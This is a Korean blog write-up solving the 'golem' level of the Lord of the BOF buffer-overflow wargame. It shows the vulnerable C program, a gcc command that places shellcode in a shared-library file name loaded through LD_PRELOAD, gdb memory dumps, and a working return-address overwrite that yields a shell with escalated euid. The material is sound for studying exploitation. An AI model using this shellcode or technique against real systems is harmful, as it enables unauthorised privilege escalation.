LOB skeleton => golem

c0wb3ll ㅣ 2020. 3. 31. 16:05

LOB skeleton => golem

[skeleton@localhost skeleton]$ cat golem.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - golem
        - stack destroyer
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
    char buffer[40];
    int i;

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    if(argv[1][47] != '\xbf')
    {
        printf("stack is still your friend.\n");
        exit(0);
    }

    strcpy(buffer, argv[1]); 
    printf("%s\n", buffer);

        // stack destroyer!
        memset(buffer, 0, 44);
    memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
}
[skeleton@localhost skeleton]$ 

역시나 또 다른 방법으로 우리가 평소에 쓰던 스택을 못쓰게 막아버렸다.


풀이

그럼 이제 다른 방법을 이용하여 쉘을 따야허는디 이 때 사용되는 것이 LD_PRELOAD라는 환경변수라고 한다.

LD_PRELOAD : 프로세스 실행 과정 중 라이브러리 로딩을 할 때, LD_PRELOAD 변수가 설정되어 있으면 해당 변수에 지정된 라이브러리를 먼저 로딩하고, 이중 libc 함수명과 동일한 함수가 있다면 해당 함수를 먼저 호출해준다.

라고 한다. 그리고 전시간 부터 사용했던 파일의 이름이 스택에 올라오는 것을 이용하여 LD_PRELOAD에 이름이 쉘코드로 된 파일을 올려주고 그 올라간 파일 이름의 주소 위치에 ret값을 넣어주면 될 것 같다.

또 알아야 할 것이 몇 개 더있는데 gcc의 옵션이다.

gcc

fPIC 옵션 : Position-Independent Code의 약자, CPU에 관계없이 동작하도록 컴파일 한다.

https://bpsecblog.wordpress.com/2016/05/25/memory_protect_linux_3/ ( PIC에 대한 글은 여기를 참고 했습니다.)

shared 옵션 : 우선 공유 라이브러리와 링크하고 공유 라이브러리가 없으면 정적 라이브러리와 링크한다.

반드시 절대 경로 파일명을 지정해야 오류가 발생하지 않는다. 또한 이때 등록하는 쉘코드는 마찬가지로 경로가 섞여있지 않은 (\x2f가 섞이지 않은) 쉘코드를 사용해야 한다.

[skeleton@localhost tmp]$ touch zolem.c

일단 파일명이 shellcode인 파일을 컴파일하기 위해 아무 파일이나 만들어 준다.

gcc -fPIC -shared -o `python -c "print '\x90'*100 + '\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81' + '\x90'*100"` zolem.c

그 다음 파일을 공유 라이브러리에 컴파일을 해주도록 하자.

(gdb) b*main+166
Breakpoint 1 at 0x8048516
(gdb) r `python -c "print '\xbf'*48"`
Starting program: /home/skeleton/tmp/golem `python -c "print '\xbf'*48"`
옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜

Breakpoint 1, 0x8048516 in main ()
(gdb) x/100wx $ebp-3000

gdb를 이용하여 main함수가 끝나기 전에 bp를 걸어주고 실행해보자. 그리고 공유 라이브러리 영역을 확인하기 위해 대략 ebp-3000영역부터 확인해 보자.

0xbffff4b0:    0x90909090    0x90909090    0x00000000    0x00000000
0xbffff4c0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff4d0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff4e0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff4f0:    0x90909090    0xeb909090    0xc9315e11    0x6c8032b1
0xbffff500:    0x8001ff0e    0xf67501e9    0xeae805eb    0x32ffffff
0xbffff510:    0x306951c1    0x69697430    0x6f6a6330    0x5451e48a
0xbffff520:    0xb19ae28a    0x9081ce0c    0x90909090    0x90909090
0xbffff530:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff540:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff550:    0x90909090    0x90909090    0x90909090    0x90909090

대략 0xbffff4b0쯤에 NOP과 쉘코드가 들어가 있는 것을 확인할 수 있었다. 그럼 이제 파일을 실행하고 리턴 어드레스를 이 주소로 바꾸어주면 쉘코드가 실행될 것이라고 예상할 수 있다.

[skeleton@localhost tmp]$ ./golem `python -c "print 'A'*44 + '\xb0\xf4\xff\xbf'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA곯
Segmentation fault (core dumped)
[skeleton@localhost tmp]$ gdb -c core

음 core 파일을 분석하면 될 것 같다.

0xbffff4f8:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff508:    0x90909090    0x90909090    0x90909090    0xeb909090
0xbffff518:    0xc9315e11    0x6c8032b1    0x8001ff0e    0xf67501e9
0xbffff528:    0xeae805eb    0x32ffffff    0x306951c1    0x69697430
0xbffff538:    0x6f6a6330    0x5451e48a    0xb19ae28a    0x9081ce0c
0xbffff548:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff558:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff568:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff578:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff588:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff598:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff5a8:    0x00909090    0x40013868    0x4000220c    0xbffffae8
(gdb) Quit
(gdb) q
[skeleton@localhost tmp]$ ./golem `python -c "print 'A'*44 + '\xf8\xf4\xff\xbf'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA慓
bash$ id
uid=510(skeleton) gid=510(skeleton) groups=510(skeleton)
bash$ 

바뀐 메모리 주소로 다시 리턴 어드레스를 조작하였더니 성공적으로 쉘을 딸 수 있었다. 이제 tmp파일말고 본 파일에서 실행해보도록 하자.

[skeleton@localhost skeleton]$ ./golem `python -c "print 'A'*44 + '\xf8\xf4\xff\xbf'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA慓
bash$ id
uid=510(skeleton) gid=510(skeleton) euid=511(golem) egid=511(golem) groups=510(skeleton)
bash$